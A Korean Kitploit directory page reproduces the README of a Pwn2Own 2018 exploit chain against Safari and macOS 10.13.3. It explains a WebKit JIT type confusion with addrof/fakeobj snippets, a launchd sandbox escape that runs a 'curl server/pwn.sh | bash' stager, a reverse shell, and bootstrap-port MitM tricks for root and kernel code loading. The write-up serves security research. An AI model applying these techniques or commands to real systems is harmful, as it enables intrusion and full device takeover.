Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pwn2own2018 — Pwn2Own 익스플로잇 체인 | Kitploit
도구/GitHubGitHub/saelo/pwn2own2018
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

Pwn2Own 익스플로잇 체인

저장소 보기
759112507년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Pwn2Own 2018: Safari + macOS

macOS 10.13.3용 Safari RCE, 샌드박스 탈출 및 커널 LPE.

사용법

nasm과 tornado를 설치합니다:

root@kitploit:~
brew install nasm
pip3 install tornado

호스트나 포트를 변경하려면 config.py를 확인하세요. 그런 다음 ./server.py로 서버를 시작하고 표시된 URL로 이동합니다.

개요

이 익스플로잇 체인은 Safari 내부에서 실행되는 JavaScript 코드에서 커널 모드 코드 실행에 이르기까지 세 가지 서로 다른 버그를 사용합니다:

  1. 타입 혼동을 유발하는 데 사용될 수 있는 DFG JIT 컴파일러의 잘못된 최적화
  2. launchd의 샌드박스 검사 누락으로, 샌드박스된 프로세스가 임의의(비-샌드박스) 프로세스를 생성할 수 있음
  3. XNU의 로직 버그로, 프로세스가 자식 프로세스의 부트스트랩 포트를 덮어쓸 수 있어 IPC MitM 상황이 발생함

익스플로잇 체인은 6단계로 구현되며, 각 단계는 고유한 하위 디렉터리에 있습니다:

  • stage0/: WebKit 익스플로잇
  • stage1/: 어셈블리로 작성된 1단계 페이로드
  • stage2/: 샌드박스 탈출을 수행하는 2단계 페이로드
  • stage3/: 나머지 단계를 조정하는 셸 스크립트
  • stage4/: root 권한을 얻기 위한 LPE
  • stage5/: 커널 코드 실행을 얻기 위한 LPE
  • libspc/: XPC 프로토콜의 재구현으로, 2, 4, 5단계에서 사용됨

libspc/를 제외한 모든 하위 디렉터리에는 make.py라는 파일이 포함되어 있으며, 이를 실행하면 필요한 모든 종류의 빌드 명령을 수행하고 웹서버가 제공할 파일 목록을 생성합니다.

0단계

목표: 샌드박스가 적용된 WebContent 프로세스 내부에서 셸코드 실행 달성
악용된 버그: DFG JIT 컴파일러의 잘못된 최적화
참고: 이 BlackHat 발표

DFG JIT 컴파일러는 JavaScript 코드를 자체 중간 표현(IR)인 데이터 흐름 그래프(DFG)로 나타냅니다. 일반적으로 하나의 JavaScript 표현식은 이 그래프에서 하나 또는 여러 개의 IR 명령어로 변환됩니다. 생성자 함수의 경우 CreateThis 명령어가 생성되며, 함수에 의해 생성되는 this 객체를 할당하는 역할을 담당합니다. 예를 들어 function Consructor() {} 함수는 new로 호출되면 대략 다음과 같이 변환됩니다.

root@kitploit:~
v0 = CreateThis
return v0

AbstractInterpreter를 살펴보면 DFG JIT 컴파일러가 CreateThis 연산이 힙 할당 외에는 어떤 부작용도 발생시키지 않을 것이라고 가정한다는 것을 알 수 있습니다. 실제로 다음 코드는:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

대략 다음과 같은 DFG 명령어로 변환됩니다: (여기서 StructureCheck는 TypeCheckHoistingPhase에 의해 함수의 시작 부분으로 이동되었습니다).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

그러나 이 가정은 유효하지 않습니다. CreateThis의 slow-path 코드는 경우에 따라 임의의 JavaScript 코드를 실행할 수 있기 때문입니다. 특히 실제 함수를 Proxy로 감싸면, 생성된 객체의 프로토타입 객체를 가져와야 하므로 CreateThis의 slow-path 핸들러 중에 "prototype" 속성에 대한 get 트랩이 호출됩니다:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

따라서 JIT 컴파일러가 베일아웃(bailout)을 수행하지 않고도 객체의 Structure를 수정하는 것이 가능해집니다.

이 버그는 다음과 같이 addrof 및 fakeobj 프리미티브를 구성하는 데 사용할 수 있습니다:

addrof

unboxed double 요소를 가진 JSArray의 경우에 대해 코드를 컴파일한 다음, 콜백에서 JSValue 요소로 전환합니다. 이후 JIT 코드는 배열에서 JSValue를 로드하지만 해당 비트를 double로 취급하여 우리에게 반환합니다. 다음 코드는 leakme의 주소를 생성된 객체의 "address" 속성에 할당합니다.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

여기서는 본질적으로 반대 방식으로 수행합니다: unboxed double 요소를 가진 배열에 double을 저장하도록 코드를 최적화한 다음, 콜백에서 다시 JSValue 요소로 전환합니다. 코드는 우리가 제어하는 double을 unboxed 형태로 backing 저장소에 계속 기록합니다. 나중에 해당 배열 요소에 접근하면 그 비트를 double이 아닌 JSValue로 취급합니다. 다음 코드는 unboxed double address를 a의 backing 버퍼에 기록하며, 이후 이를 JSValue로 읽어내어 우리가 선택한 JSValue를 엔진에 "주입"할 수 있게 합니다.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

따라서 double을 기록하고 이를 JSObject 포인터로 취급하거나 그 반대로 취급할 수 있는 능력을 얻게 됩니다. 이는 attacking javascript engines에 설명된 대로 악용될 수 있습니다.

익스플로잇은 먼저 Float64Array를 위조하여 임의 프로세스 메모리 읽기/쓰기를 달성한 다음, JIT 영역(RWX로 매핑됨)을 검색하여 그곳에 stage1 셸코드를 기록합니다.

1단계

목표: .dylib를 디스크에 기록하고 dlopen()을 통해 로드하여 2단계를 부트스트랩

기본적으로 다음을 수행하는 짧은 어셈블리 페이로드:

  1. confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR)를 호출하여 쓰기 가능한 디렉터리의 경로를 얻습니다
  2. 쓰기 가능한 디렉터리에 'x.dylib'라는 새 파일을 생성합니다
  3. 새로 생성된 파일에 stage2 dylib를 기록합니다
  4. dlopen()을 통해 WebContent 프로세스에 dylib를 로드합니다

2단계

목표: 샌드박스 탈출
악용된 버그: launchd의 "legacy_spawn" API에서의 샌드박스 검사 누락
참고: 이 발표

launchd는 "legacy_spawn" RPC 엔드포인트를 서브시스템 3의 루틴 817로 노출합니다. 이 API는 호출자가 프로세스를 생성하도록 허용되어야 하는지 검증하지 않으며, 제어된 인자로 시스템의 모든 바이너리를 호출자를 위해 그냥 execve합니다. launchd는 부트스트랩 포트를 통해 도달할 수 있으므로 샌드박스에서 탈출하는 것이 가능해집니다.

익스플로잇은 본질적으로 curl server/pwn.sh | bash를 실행하여 제어권을 3단계로 넘깁니다.

3단계

목표: 계산기(calc) 띄우기 및 나머지 단계 부트스트랩

이 단계는 open /Applications/Calculator.app을 실행하고 리버스 셸을 설정한 다음, 나머지 단계에 필요한 모든 파일을 가져와 익스플로잇을 실행합니다.

4단계

목표: LPE 익스플로잇을 통한 root 권한 획득
악용된 버그: XNU 부트스트랩 포트 MitM
참고: 이 POC 발표

XNU에서 task_set_special_port API는 호출자가 자신의 부트스트랩 포트를 덮어쓸 수 있게 하며, 이 포트는 launchd와 통신하는 데 사용됩니다. 이 포트는 fork를 통해 상속됩니다: 자식 프로세스는 부모와 동일한 부트스트랩 포트를 사용합니다. 이제 자식 프로세스가 부모보다 더 많은 권한을 가진 경우 보안 문제가 발생합니다. 예를 들어 sudo(setuid 바이너리) 또는 kextutil("com.apple.rootless.kext-management" 자격(entitlement) 보유)의 경우가 그렇습니다. 부트스트랩 포트를 덮어쓰고 자식 프로세스를 fork함으로써, 이제 자식과 launchd 사이에서 MitM 위치를 확보할 수 있습니다(자식은 부트스트랩 포트로 메시지를 보낼 때 launchd에 도달할 것으로 기대합니다). 자식 프로세스는 launchd에 다양한 mach 및 XPC 서비스를 리졸브해 달라고 요청합니다. 이러한 서비스를 우리가 제어하는 다른 포트로 리졸브되게 함으로써, 자식 프로세스가 사용하는 임의의 시스템 서비스에 대해서도 MitM 위치를 확보할 수 있습니다. 이후 악용 방법은 공격 대상 프로그램이 해당 서비스를 어떻게 사용하는지에 따라 달라집니다.

root 권한을 얻기 위해 sudo 바이너리를 대상으로 삼고, sudo가 자격 증명을 검증하는 데 사용하는 opendirectoryd와의 통신을 가로챕니다. opendirectoryd의 응답을 수정하여 우리의 비밀번호가 유효했던 것처럼 보이게 만듭니다.

launchd와의 통신을 수행하는 libxpc가 응답이 실제로 uid=0 및 pid=1(== launchd) 프로세스에서 온 것인지 검증하기 때문에, 이 문제를 수정하려는 시도가 있었던 것으로 보입니다. 그러나 이러한 검사는 불충분합니다. 다음과 같이 이를 우회하여 opendirectoryd가 우리 자신의 포트로 리졸브되게 할 수 있습니다:

  1. bootstrap_register2 API를 사용하여 우리 자신의 mach 서비스(예: net.saelo.hax)를 launchd에 등록합니다
  2. launchd로 가는 서비스 조회 요청을 가로채고 문자열 com.apple.system.opendirectoryd.api를 net.saelo.hax로 대체합니다
  3. 요청을 launchd로 전달하되 원래의 응답 포트는 그대로 두어, launchd가 자식 프로세스에 직접 응답하고 우리 자식 프로세스의 libxpc 검사가 성공하도록 합니다

이제 (root로의 권한 상승을 위해) 남은 일은 opendirectoryd와 sudo 사이의 메시지를 전달하되, 인증 오류 응답을 성공 응답으로 대체하는 것뿐입니다.

5단계

목표: (자체 서명된) 커널 확장 프로그램 로드
악용된 버그: XNU 부트스트랩 포트 MitM

이 단계는 stage4와 동일한 결함을 악용하지만, 이번에는 kextutil을 대상으로 합니다. com.apple.trustd에 대한 연결을 가로채 인증서 체인을 위조하여, kextutil이 우리의 자체 서명된 kext가 실제로 apple에 의해 직접 서명된 것이라고 믿게 만듭니다.

kextutil은 디스크에서 .kext를 로드하라는 요청을 받으면 대략 다음과 같이 진행합니다:

  1. 제공된 인증서와 대조하여 모든 서명을 확인함으로써 .kext의 무결성을 검증합니다
  2. trustd와 통신하여 인증서 체인을 얻고 루트 인증서가 신뢰되는지 확인합니다
  3. 인증서 체인의 루트가 apple 인증서인지 검증합니다
  4. syspolicyd와 통신하여 .kext가 사용자 승인을 받았는지 확인합니다. 그러나 syspolicyd에 도달할 수 없으면 kextutil은 그냥 계속 진행합니다

이를 통해 자체 서명된 커널 확장 프로그램을 로드하기 위한 다음과 같은 공격이 가능해집니다:

  1. .kext를 생성하고 자체 서명된 인증서로 서명합니다
  2. kextutil을 실행하고 com.apple.trustd를 우리 자신의 서비스로 리졸브되게 합니다
  3. trustd로 가는 메시지를 가로채 공식 apple .kext의 하드코딩된 인증서 체인으로 응답합니다
  4. syspolicyd와의 통신을 차단합니다(예: launchd로 가는 서비스 조회 요청에서 com.apple.security.syspolicy.kext를 net.saelo.lolno로 대체)

이제 kextutil은 우리의 커널 확장 프로그램을 커널에 로드합니다.

도구 다운로드